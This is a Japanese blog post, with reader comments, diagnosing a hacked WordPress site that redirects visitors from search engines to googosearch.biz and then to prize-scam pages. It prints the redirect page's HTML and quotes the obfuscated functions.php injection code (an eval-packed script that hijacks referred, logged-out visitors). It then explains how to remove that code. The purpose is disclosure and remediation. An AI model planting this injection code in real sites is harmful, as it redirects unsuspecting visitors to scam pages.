本来このような不徳の成す事は世間一般的に公表しないのであるが、自分以外にも必ず同じ症状を発症している人がいると思うのでここに記させて貰います。
発症と書きましたが、アンチウイルスソフトやマルウェア検出ソフトでは、当然の如く引っかかりませんでした。
多分理由としてはウイルス等と認識されていないからでしょう。
ことの発端は、googleから自分のサイトを検索し、クリックしたら、googesearch.bizというドメインのサイトへ転送されてしまう症状が起こってしまったのです。
最初はウイルスにでもPCが侵されたのか?
という事を考えた。
しかし、直にURLを打ち込んでサイトへ行くと問題が起こらない。
う~む。
賢いね。
で、とりあえず、どのような症状かわからないので、ネットからPCを切断し、ウイルスチェックをかけ、終わるのに一晩待つ。
しかし、何も引っかからない。
今度は、malwarebytesにてシステム全体をスキャンしても問題が無い。
さて、どうするか?
ここで自分だけで悩んでもしょうがないのでわざと地雷と踏んで見ることにした。
そして、その転送されるサイトがうまく機能した場合、さらに別のアドレスへ転送される仕組みに成っている。
まず、仕組みとしては
- google等の検索エンジンで検索し、リダイレクト処置が施されているwordpressサイトをクリックする
- サイトがロード終了後、もしくは、ロードの途中、勝手にhttp://googosearch.bizから始まるサイトへ転送される
- さらに、http://googosearch.bizのサイトがロードに成功すると、自動的に違う懸賞サイトみたいなのに転送されてしまう。
- http://googosearch.bizのサイトがロードに成功しない場合、一昔前のgoogleの検索画面に似た様な画面にて終了。
という仕組みになっています。
「googosearch.biz」というドメインは「91.223.89.112」というIPアドレスのサイトへかってに転送される。
このIPアドレスは「googosearch.biz」というドメインのものであり、google等で検索した用語をリダイレクトするように仕組まれている。
今回はRagnite Blueのサイトが一番よく検索される用語である「802.3at」を使ってgoogleにて検索してみた。
[xml]http://googosearch.biz/search.php?ty=1&terms=802.3at[/xml]
その後、そのサイトはちゃんとリダイレクトに成功すると、下記の様なURLを持つサイト等に転送される仕組みに成っている。
http://topusaprizes.com/q/contest–/?sub1=q3&sub2=68226&sub3=1105135348
セキュリティーソフトウェアを偽装するソフトと同じ様に、これはgoogleのサイトを偽装しているのが見た目で分かる。
しかし、ちょっとした目では、googleのサイトを模倣しそこねたか、googleのサイトがちゃんとローディングせずに終わった感がある。
さて、ここでmalwarebytesというソフトを実行した状態で地雷を踏んでみると、malwarebytesではちゃんと「googosearch.biz」へ転送されるのを防いでくれた。
その時のログ。
<code> 09:47:38 Administrator IP-BLOCK 91.223.89.112 (Type: outgoing) 09:47:41 Administrator IP-BLOCK 91.223.89.112 (Type: outgoing) 09:47:47 Administrator IP-BLOCK 91.223.89.112 (Type: outgoing) </code>
他にも、リダイレクト先が以下の場合も有る事を他では確認されている。
- ソース:
- 転送先:
- http://hosting.multifind24.com/56895/0/11111010/20/hosting.html
- このRagnite Blueのサイトが飛ばされたのがこのアドレス。
- http://hosting.multifind24.com/56895/0/11111010/20/hosting.html
- http://hosting.multifind24.com/56895/0/11111010/20/net.html
- ワードプレスサイトのフォーラムに↑のURLが記載されていました。
- ワードプレスサイトのフォーラムに↑のURLが記載されていました。
下記は転送された先の「googosearch.biz」のhtmlコードの部分である。悪用厳禁だよ!
<code> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <title>802 - googosearch.biz Search</title> <style>div,td,.n a,.n a:visited{color:#000}.ts td,.tc{padding:0}.ts,.tb{border-collapse:collapse}.f{color:#666}.flc,a.fl{color:#77c}a,.w,.q:visited,.q:active,.q,.b a,.b a:visited,.mblink:visited{color:#00c}a:visited{color:#551a8b}a:active{color:red}.t{background:#d5dff3;color:#000;padding:5px 1px 4px}.bb{border-bottom:1px solid #36c}.bt{border-top:1px solid #36c}.j{width:34em}.h{color:#36c}.i{color:#a90a08}.a{color:green}.z{display:none}div.n{margin-top:1ex}.n a,.n .i{font-size:10pt}.n .i,.b a{font-weight:bold}.b a{font-size:12pt}#np,#nn,.nr,#logo span,.ch{cursor:pointer;cursor:hand}.ta{padding:3px 3px 3px 5px}#tpa2,#tpa3{padding-top:9px}#mybar{float:left;font-weight:bold;height:22px;padding-left:2px}#gbh{border-top:1px solid #c9d7f1;font-size:0;height:0;position:absolute;right:0;top:24px;width:200%}#gbi{background:#fff;border:1px solid;border-color:#c9d7f1 #36c #36c #a2bae7;font-size:13px;top:24px;z-index:1000}#guser{padding-bottom:7px !important}#mybar,#guser{font-size:13px;padding-top:1px !important}@media all{.gb1,.gb3{height:22px;margin-right:.73em;vertical-align:top}}#gbi,.gb2{display:none;position:absolute;width:8em}.gb2{z-index:1001}#mybar a,#mybar a:active,#mybar a:visited{color:#00c;font-weight:normal}.gb2 a,.gb3 a{text-decoration:none}.gb2 a{display:block;padding:.2em .5em}#mybar .gb2 a:hover{background:#36c;color:#fff}.sl,.r{display:inline;font-weight:normal;margin:0}.sl{font-size:84%}.r{font-size:1em}.e{margin:.75em 0}.sm{display:block;margin:0;margin-left:40px}.slk td{padding-top:5px;padding-left:40px;vertical-align:top;font-size:84%}.slk div{text-indent:-10px;padding-left:10px}.n div,#logo span{background:url(images/nav.png) no-repeat;height:26px;overflow:hidden}.n .nr{background-position:-60px 0;width:16px}#np{width:44px}#nf{background-position:-26px 0;width:18px}#nc{background-position:-44px 0;width:16px}#nn{margin-right:4px;width:66px}#nl{width:46px}#nn,#nl{background-position:-106px 0}#logo{display:block;height:52px;margin:13px 0 7px;overflow:hidden;position:relative;width:150px}#logo span{background-position:0 -26px;height:100%;left:0;position:absolute;top:0;width:100%}body{font-family:arial,sans-serif}.g{margin:1em 0}#sd{font-size:84%;font-weight:bold}#ap{font-size:64%}</style> <script>window.mybar={};(function(){;var g=window.mybar,a,f,h;function m(b,e,d){b.display=b.display=="block"?"none":"block";b.left=e+"px";b.top=d+"px"}g.tg=function(b){var e=0,d,c,i,j=0,k=window.navExtra;!f&&(f=document.getElementById("mybar"));!h&&(h=f.getElementsByTagName("span"));(b||window.event).cancelBubble=true;if(!a){a=document.createElement(Array.every||window.createPopup?"iframe":"div");a.frameBorder="0";a.id="gbi";a.scrolling="no";a.src="#";document.body.appendChild(a);if(k)for(var n in k){var l=document.createElement("span");l.appendChild(k[n]);l.className="gb2";f.appendChild(l)}document.onclick=g.close}for(;h[j];j++){c=h[j];i=c.className;if(i=="gb3"){d=c.offsetLeft;while(c=c.offsetParent)d+=c.offsetLeft;m(a.style,d,24)}else if(i=="gb2"){m(c.style,d+1,25+e);e+=20}}a.style.height=e+"px"};g.close=function(b){a&&a.style.display=="block"&&g.tg(b)};})();</script> </head> <body topmargin="3" bgcolor="#ffffff" marginheight="3"> <div id="mybar"> <nobr> <span class="gb1"><a href="/">Web</a></span> <span class="gb1"><a href="search.php?terms=cash">Cash</a></span> <span class="gb1"><a href="search.php?terms=insurance">Insurance</a></span> <span class="gb1"><a href="search.php?terms=gambling">Gambling</a></span> <span class="gb1"><a href="search.php?terms=download">Download</a></span> <span class="gb1"><a href="search.php?terms=domains">Domains</a></span> </nobr> </div> <div id="gbh"></div> <div id="guser" style="padding: 0pt 0pt 4px; font-size: 84%;" width="100%" align="right"><nobr><a href="search.php?terms=weather">Weather</a></nobr></div> <table class="tb" style="clear: left;" width="100%"> <tbody> <tr> <form method="get" action="/search.php"> <td style="padding: 0pt 0pt 7px 0px;" valign="top" width="100%"> <table class="tb" style="margin-top: 25px;" border=0> <tbody> <tr> <td class="tc" nowrap="nowrap"> <input name="terms" size="41" maxlength="2048" value="802" title="Search" type="text"><input value="Search" type="submit"></td> </tr> </tbody> </table> </td> </form> </tr> </tbody> </table> <table class="t bt" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody> <tr> <td nowrap="nowrap"><span id="sd">&nbsp;Web&nbsp;</span></td> <td align="right" nowrap="nowrap"><font size="-1">Results for <b>802</b>. (<b>0</b> seconds)&nbsp;</font> </td> </tr> </tbody> </table> <div id="res"> <div> </div> <br clear="all"> </div> <center> <br clear="all"> <table class="ft t bb bt" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody> <tr> <td align="center">&nbsp;<br> <table align="center" border="0" cellpadding="0" cellspacing="0"> <form method="get" action="/search.php"> <tbody> <tr> <td nowrap="nowrap"> <font size="-1"> <input name="terms" size="31" maxlength="2048" value="802" title="Search" type="text"> <input value="Search" type="submit"> </font> <br /><br /> </td> </tr> </tbody> </form> </table> </td> </tr> </tbody> </table> </center> <center> <p> </p> <hr class="z"> <div style="padding: 2px;" class=""><font size="-1">&#169;2008-2011 googosearch.biz</font> </div> </center> </body> </html> </code>
下記はwordpressのテーマの中にあるfunctions.phpに含まれている悪質なコードの部分である。
<code> <?php add_action('get_footer', 'add_sscounter'); function add_sscounter(){ echo '<!--scounter-->'; if(function_exists('is_user_logged_in')){ if(time()%2 == 0 && !is_user_logged_in()){ echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c][/c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c][/c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c][/c][/c]);return p}('o r=a.e,t=\"\",q;5(r.4(\"m.\")!=-1)t=\"q\";5(r.4(\"b.\")!=-1)t=\"q\";5(r.4(\"c.\")!=-1)t=\"p\";5(r.4(\"f.\")!=-1)t=\"q\";5(r.4(\"g.\")!=-1)t=\"h\";5(r.4(\"i.\")!=-1)t=\"q\";5(t.6&&((q=r.4(\"?\"+t+\"=\"))!=-1||(q=r.4(\"&\"+t+\"=\"))!=-1))j.k=\"l://9\"+\"1.\"+\"n\"+\"3\"+\".\"+\"8\"+\"9.1\"+\"s/\"+\"u.p\"+\"v?w\"+\"d=7&t\"+\"x\"+\"y=\"+r.z(q+2+t.6).A(\"&\")[0];',37,37,'||||indexOf|if|length||||document|msn|yahoo||referrer|altavista|aol|query|ask|window|location|http|google|22|var||||12||go|hp|si|er|ms|substring|split'.split('|'),0,{}))</script>"; } } } ?></code>
問題を修正するためにはテーマファイルの中のfunctions.phpの中に記述されている上記の部分を削除すれば問題は万事解決する。
追記:
ワードプレスでは最近パッカーというタイプのjavascript圧縮が流行っている。
これはその仕組を悪用しているのだが、自分のサイトの中に、その圧縮されたjavascriptが有り、内容が理解出来ないのであれば下記のサイトでデコードすると内容が読めるようになる。
www.strictly-software.com/unpacker
コメント
ありがとうございます!
1週間ほど前から同じ症状で悩んでいました。。。
functions.phpを修正して、無事に解決できました。
本当に助かりました。
すずきさん>
無事解決して嬉しく思います!
自分でもどのようにしてこのような事が起こるようになったのかは検討がつきませんが、ロシア系のサイトでは、既に数年前から起こっているようです。
しかし、日本や米国を含む他国ではこの症状について議論はされているみたいですが、見当違いの答えしか無かったのが実情でしたので、このように同じ症状に悩んでいる人の解決に役立ったのであれば幸です。
PC聚楽さん>本当にありがとうございました!!!!
荒木正義さん>
何が影響しているかわかりませんので、定期的にFTPでの更新日時を見ておくといいですよ。
あとでわかったことですが、何もしていないのに勝手にfunctions.phpが更新されていたりだったので。
僕も同じ症状でした。
ただ、一度functions.php内の該当箇所を削除しても、また書き換えられるという状況です。
とりあえず同じ症状と解決策を見つけられてほっとしていますが、PC聚楽さんのサイトではそういった繰り返しの改ざんは見られないのでしょうか?
ここのRagnite Blueのサイトではfunctions.phpを修正後、新たに書き換えられたのはその後一度有りました。
現在の所、再発はありませんが、プラグイン類が悪さをしているとしか思えず、使っていないプラグインはインストールはされているものの、「停止」状態になっています。
また、パーミッションの設定も影響しているでしょう。
自分でゼロから作成するテーマなら良いのですが、どこかから手に入れる無料のテーマファイルにはそのような危険性が有るものもあります。
また、base64にてエンコードされている記述が有るものはあまり利用されない方がよろしいでしょう。
無料テーマファイルの場合header、footer,functions.php内に記述されていたりもしますし、プラグインの場合も同じくどこかに記述されている場合があります。
ただ、全てのbase64エンコードが含まれているファイルが怪しいわけではなく、中にはテーマファイルのfooter部分にbase64でエンコードされたコピーライトが記述されていたりします(テーマ作成者の為)。
私はWindowsを使っていますが、挙動がおかしくなる場合はセーフモードにて作動させ、挙動がオカシイ部分を治すように、する機能と同じく、ワードプレスサイトも一旦TwentyTen、TwentyElevenのデフォルトテーマファイルに戻し、プラグインも全てオフにし、一つ一つチェックするしかない場合もあります。
もちろん、上記のやり方は、ウェブサイトの表示に不都合を与えますが、問題解決の為、一旦入院措置を取ると考えれば良いと思います。
こんにちわ、
こちらでこの情報が無かったらfunctions.phpの改ざんに気づきませんでした、ワードプレスを最新に更新してfunctionsを修正しました。
ありがとうございました!
ちなみに検索結果が元通りになるまではやはりクロールが来るまではそのままですよね!?
イシカワさん>
基本的にはgoogleへ自分のワードプレスサイトをちゃんと修正しました!っていう旨を送らないとgoogleの検索結果から来る赤い画面等は治りません。
その後、90日間?くらいはgoogleの検索結果に余計な文句が付きますね。
[…] 今回、PHPファイルの見直しの重要性を教えてくれたページだけ紹介しておきます。ワードプレスサイトが検索エンジンから来ると自動的に転送されてしまう症状 – Ragnite Blue本来このよう […]